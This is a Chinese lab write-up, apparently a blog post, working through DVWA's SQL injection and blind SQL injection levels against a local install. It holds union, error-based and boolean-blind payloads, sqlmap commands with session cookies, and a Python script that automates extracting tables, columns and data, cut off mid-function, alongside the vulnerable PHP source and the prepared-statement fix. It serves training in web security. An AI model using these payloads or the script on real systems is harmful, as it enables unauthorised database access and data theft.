学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
后序步骤与LOW级别类似,遇到单引号时,即需要填写表名时通过16进制进行绕过,不再赘述,有问题下方评论。
源码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
步骤
- isset检测变量Submit是否已设置并且非 NULL,即判断用户是否点击了Submit按钮。
- 得到用户提交的数据 id,使用mysqli_real_escape_string函数进行转义
- 利用用户数据拼接成sql语句query
- 使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错
- 使用mysqli_fetch_assoc函数获取结果集的一行给变量row
- 使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last
漏洞原因
没有进行预编译
用户数据拼接了代码,没有实现代码、数据分离
没有很好的对敏感关键字进行过滤。想要利用mysqli_real_escape_string函数进行敏感字符过滤,但是mysqli_real_escape_string函数并不能过滤一些敏感的关键字(如 and or等),它的功能只是转义一些字符,仅成功过滤了’,属于开发者对函数功能了解的不够全,网络安全-php安全知识点中有对该函数的解释。
SQL Injection-HIGH
正常页面
点击按钮弹出窗口,然后再填写数据。
Union注入
注入点检测
1' and 1=1#
正常
1' 1=2#
异常
结论:字符型注入,需要闭合,闭合字符为 ’ ,当然,在这之前我也尝试了数字型,为了避免文章篇幅过长,不再赘述。
字段判断
1'order by 2#
字段为2没问题
1' order by 3
异常
不是数据库的出错提示,估计是使用了or die函数进行的自定义提示,这样的话估计不能使用Error注入。
结论:字段为2
获取表名
1' UNION SELECT 1,table_name from information_schema.tables where table_schema=database()#
表名
这…不做了,除了弹个框,和LOW级别的payload一样啊,感觉没有加什么,我以为会有些过滤,需要绕过的。。。不再赘述了。
Error注入
注入点判断、字段判断和Union注入一样。当前数据库就不写了,用database()函数代替。使用updatexml()函数进行错误注入。
1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
失败
果然,不能使用Error注入,应该是使用了or die函数。接下来看源代码吧。
源码解析
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
主要步骤
- isset检测Session中的id变量是否已设置并且非 NULL
- 得到用户提交的数据 id
- 利用用户数据拼接成sql语句query,id当做字符串
- 使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错,错误是自定义的
- 使用mysqli_fetch_assoc函数获取结果集的一行给变量row
- 使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last
漏洞原因
没有进行预编译
用户数据拼接了代码,没有实现代码、数据分离
想要利用session和自定义错误返回来增加安全系数,成功的躲过了Error注入方式
SQL Injection(Blind)-LOW
正常提交,payload为1
正常返回
没有回显,采用盲注
Boolean盲注
注入点判断、字段判断和Union注入一样。
获取数据库名
先获取长度
1' and length(database())>3#
正确
1' and length(database())>4#
错误
结论:数据库名长度>3但不>4,即数据库长度为4。
依次判断4个字符
1' and substr(database(),1,1)='a'#
错误
第一个字符不是a,上图的url是进行了编码,网上找了个工具,进行了解码,可以看出就是上面的payload
解码
替换为字符d
1' and substr(database(),1,1)='d'#
字符d时返回正确。
正确
其余的类似,不再赘述。 实际上做时,会写脚本或使用sqlmap,不然工作量太大,写脚本也不会按照ASCII表去一个个的尝试,可以先判断字符是不是字母,然后再二分查找之类的。
接下来使用sqlmap进行展示,有关sqlmap的知识可以查看:网络安全-sqlmap学习笔记
sqlmap
先获取cookie备用,按F12,控制台输入 document.cookie
cookie
"security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5"
获取数据库名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" --current-db --technique=B -v 3 --batch
获取数据库名
还是脚本快,1秒解决。sqlmap使用的是mid函数,和substr一样,可以查看网络安全-Mysql注入知识点
结论:数据库名 dvwa
获取表名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa --tables --technique=B -v 3 --batch
获取数据库名
结论:dvwa数据库有2个表,guestbook、users
获取列名
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa -T users --columns --technique=B -v 3 --batch
获取所有列
结论:见上图,不手打了。
获取数据
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa -T users -C user,password,avatar --technique=B -v 3 --dump --batch
获取数据
还有个csv,里面和cmd窗口显示的一致。
源码解析
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
主要步骤
- isset检测变量Submit是否已设置并且非 NULL,即判断用户是否点击了Submit按钮。
- 得到用户提交的数据 id
- 利用用户数据拼接成sql语句getid
- 使用mysqli_query函数执行sql语句并返回结果给result,删除“or die”来抑制mysql错误
- 使用@mysqli_num_rows函数获取结果集的数量给变量num,通过@来抑制mysql错误
- 若num>0,输出“User ID exists in the database.”,否则输出”User ID is MISSING from the database.“
漏洞原因
没有进行预编译
用户数据拼接了代码,没有实现代码、数据分离
没有进行敏感字符过滤
SQL Injection(Blind)-MIDIUM
正常
和MIDDLE级别的非盲注一样,使用了下拉框,是post方式,另外,没有回显。
Boolean盲注
注入点判断,字段判断与非盲注一样
注入点是数字型的,不必闭合。
手工
payload与LOW级别的盲注的区别只是少了闭合字符’
以数据库长度为例
id=1 and length(database())>3#&Submit=Submit
数据库长度大于3
数据库长度大于4
数据库长度>3但不>4,即数据库长度为4。后续不再赘述,有问题请下方评论。
sqlmap
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium;csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy;PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2" --forms --current-db --technique=B -v 3 --batch
出错
不清楚原因
python sqlmap.py -r sqli_blind_midium.txt --technique=B -v 3 --current-db --batch
出错
-r参数官方文档
搞不定,可能sqlmap没学好吧,哪位大佬知道原因,请下方评论,十分感谢!!!这是抓到的包sqli_blind_midium.txt
POST /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/
Cookie: security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2
Upgrade-Insecure-Requests: 1id=1&Submit=Submit
源码解析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
主要步骤
- isset检测变量Submit是否已设置并且非 NULL,即判断用户是否点击了Submit按钮。
- 得到用户提交的数据 id,使用mysqli_real_escape_string函数进行转义
- 利用用户数据拼接成sql语句getid
- 使用mysqli_query函数执行sql语句并返回结果给result,删除“or die”来抑制mysql错误
- 使用@mysqli_num_rows函数获取结果集的数量给变量num,通过@来抑制mysql错误
- 若num>0,输出“User ID exists in the database.”,否则输出”User ID is MISSING from the database.“
漏洞原因
没有进行预编译
用户数据拼接了代码,没有实现代码、数据分离
没有很好的对敏感关键字进行过滤。想要利用mysqli_real_escape_string函数进行敏感字符过滤,但是mysqli_real_escape_string函数并不能过滤一些敏感的关键字(如 and or等),它的功能只是转义一些字符,属于开发者对函数功能了解的不够全,网络安全-php安全知识点中有对该函数的解释。
SQL Injection(Blind)-HIGH
抓包
抓包过程和MIDIUM级别的一样,Proxy抓包,发送到Repeater,为什么粘贴出来呢?因为cookie里面有id,非盲注高级别的源码是从SESSION中得到id,估计这个是从COOKIE中,另外id进行了url编码。工具:站长URL编码/解码
手工注入
payload与LOW级别的盲注的区别只是在弹出的这个框框里面填写。
sqlmap
由于页面跳转,,防止了自动化sql注入,目前版本的sqlmap应该无法成功注入。
源码分析
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
主要步骤
- isset检测COOKIE中的id变量是否已设置并且非 NULL
- 得到用户提交的数据 id
- 利用用户数据拼接成sql语句query,id当做字符串
- 使用mysqli_query函数执行sql语句并返回结果给result,不使用or die来抑制mysql错误
- 使用mysqli_num_rows函数获取结果集的数量给变量num,通过@来抑制mysql错误
- 若num>0,输出“User ID exists in the database.”,否则睡眠一会,显示404。输出”User ID is MISSING from the database.“
漏洞原因
没有进行预编译
用户数据拼接了代码,没有实现代码、数据分离
想要利用COOKIE来增加安全系数,抓包可绕过。
IMPOSSIBLE
非盲注
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
主要步骤
- isset检测Subbmit变量是否已设置并且非 NULL,即判断是否点击了Submit进行提交。
- 检查token
- 得到用户提交的数据 id,并判断是否仅为数字
- 预编译、绑定参数、执行sql语句
- 判断结果是否为1行,使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last
安全原因
进行了预编译,不再拼接sql语句,而是替换
检查了token
判断了数据类型是否仅为数字
判断了结果是否仅为1行
盲注
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
在上面的基础上,去除了回显,更加安全。
-------------------------------2020.10.13更新--------------------------------
medium级别 Error注入 和 Boolean盲注脚本
dvwa.py
"""
--coding:utf-8--
@File: dvwa.py
@Author:frank yu
@DateTime: 2020.10.13 13:52
@Contact: frankyu112058@gmail.com
@Description:
"""
import requests
headers = {
'Host': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '18',
'Origin': 'http://127.0.0.1',
'Connection': 'close',
'Referer': 'http://127.0.0.1/dvwa/vulnerabilities/sqli/',
'Cookie': 'security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; '
'PHPSESSID=geabfbdgj4h2683s7sc5urlhd6',
'Upgrade-Insecure-Requests': '1',
}
headers_blind = {
'Host': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '18',
'Origin': 'http://127.0.0.1',
'Connection': 'close',
'Referer': 'http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/',
'Cookie': 'security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2',
'Upgrade-Insecure-Requests': '1',
}
url_not_blind = 'http://127.0.0.1/dvwa/vulnerabilities/sqli/'
url_blind = 'http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/'
def Post(url, headers, data):
req = requests.post(url, headers=headers, data=data)
return str(req.text)
def Get_tables():
tables = []
i = 0
while True:
uid = f'1 and updatexml(1, concat(0x7e, (SELECT table_name from information_schema.tables ' \
f'where table_schema=database() limit {i}, 1), 0x7e), 1)# '
# print(uid)
db_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_not_blind, headers, db_payloads)
if len(res.split('~')) < 2:
break
tables.append(res.split('~')[1])
i += 1
print('tables:', tables)
return tables
def Get_columns(table):
columns = []
i = 0
while True:
uid = f'1 and updatexml(1, concat(0x7e, (SELECT column_name from information_schema.columns ' \
f'where table_schema=database() and table_name={table} limit {i}, 1), 0x7e), 1)# '
# print(uid)
db_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_not_blind, headers, db_payloads)
if len(res.split('~')) < 2:
break
columns.append(res.split('~')[1])
i += 1
print('columns:', columns)
return columns
def Get_data(table, cols):
datas = []
c = ',0x3a,'.join([col for col in cols])
i = 0
while True:
uid = f'1 and updatexml(1, concat(0x7e, (SELECT concat({c}) from {table} limit {i}, 1), 0x7e), 1)# '
# print(uid)
db_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_not_blind, headers, db_payloads)
# print(res)
if res.find('pre') == -1:
break
datas.append(res.split('~')[1])
i += 1
print('datas:', datas)
return datas
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
def Get_db_blind():
# 长度
length = 1
while True:
uid = f'1 and length(database())>{length}#'
len_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, len_payloads)
if res.find('exists') == -1:
break
length += 1
print('数据库长度:', length)
db = ""
i = 1
while i <= length:
for ascode in range(ord('a'), ord('z') + 1):
uid = f'1 and ascii(substr(database(),{i},1))={ascode}# '
# print(uid)
db_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, db_payloads)
if res.find('MISSING') == -1:
# print(res)
db = db + str(chr(ascode))
break
i += 1
# print(f'{i}/{length} finished...')
print('db:', db)
return db
def Get_tables_blind():
t_num = 1
while True:
uid = f'1 and (select count(table_name) from information_schema.tables where ' \
f'table_schema=database())={t_num}#'
tableNum_payload = {'id': uid, 'Submit': 'Submit'}
# print(tableNum_payload)
res = Post(url_blind, headers_blind, tableNum_payload)
# print(res)
if res.find('MISSING') == -1:
break
t_num += 1
print(f'tableNum:{t_num}')
tables = []
t = 0
# 所有表
while t < t_num:
table = ""
t_len = 1
# 表名长度
while True:
# 第t+1个表的长度
uid = f'1 and length(substr((select table_name from information_schema.tables ' \
f'where table_schema=database() limit {t},1),1))={t_len}'
tableLen_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, tableLen_payload)
if res.find('MISSING') == -1:
break
t_len += 1
i = 1
# 表名
while i <= t_len:
# 第t+1个表的表名
for ascode in range(ord('a'), ord('z') + 1):
# 第i个字符
uid = f'1 and ascii(substr((select table_name from information_schema.tables ' \
f'where table_schema=database() limit {t},1),{i},1))={ascode}# '
# print(uid)
table_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, table_payloads)
if res.find('MISSING') == -1:
# print(res)
table = table + str(chr(ascode))
break
i += 1
print('table:', table)
# print(f'{t + 1}/{t_num} finished...')
tables.append(table)
t += 1
return tables
def Get_columns_blind(table):
columnNum = 1
while True:
uid = f'1 and (select count(column_name) from information_schema.columns' \
f' where table_schema=database() and table_name={table})={columnNum}#'
# print(uid)
columnNum_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, columnNum_payload)
# print(res)
if res.find('MISSING') == -1:
break
columnNum += 1
print(f'columnNum:{columnNum}')
cols = []
c = 0
# 所有表
while c < columnNum:
col = ""
c_len = 1
# 列名长度
while True:
# 第t+1个表的长度
uid = f'1 and length(substr((select column_name from information_schema.columns ' \
f'where table_schema=database() and table_name={table} limit {c},1),1))={c_len}#'
# print(uid)
columnLen_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, columnLen_payload)
if res.find('MISSING') == -1:
break
c_len += 1
# print('columnLen:', c_len)
i = 1
# 列名
while i <= c_len:
# 第c+1个列的列名
for ascode in range(ord('a'), ord('z') + 1):
# 第i个字符
uid = f'1 and ascii(substr((select column_name from information_schema.columns ' \
f'where table_schema=database() and table_name={table} limit {c},1),{i},1))={ascode}# '
# print(uid)
table_payloads = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, table_payloads)
if res.find('MISSING') == -1:
# print(res)
col = col + str(chr(ascode))
break
i += 1
print('col:', col)
# print(f'{c + 1}/{columnNum} finished...')
cols.append(col)
c += 1
return cols
def Get_data_blind(table, col):
# 猜测的数据字典
data_guess = 'abcdefghijklmnopqrstuvwxyz1234567890/.'
rowNum = 1
while True:
uid = f'1 and (select count(*) from {table})={rowNum}#'
# print(uid)
fieldNum_payload = {'id': uid, 'Submit': 'Submit'}
res = Post(url_blind, headers_blind, fieldNum_payload)
# print(res)
if res.find('MISSING') == -1:
break
### 给大家的福利
**零基础入门**
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
![](https://img-blog.csdnimg.cn/img_convert/95608e9062782d28f4f04f821405d99a.png)
同时每个成长路线对应的板块都有配套的视频提供:
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a91b9e8100834e9291cfcf1695d8cd42.png#pic_center)
因篇幅有限,仅展示部分资料
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**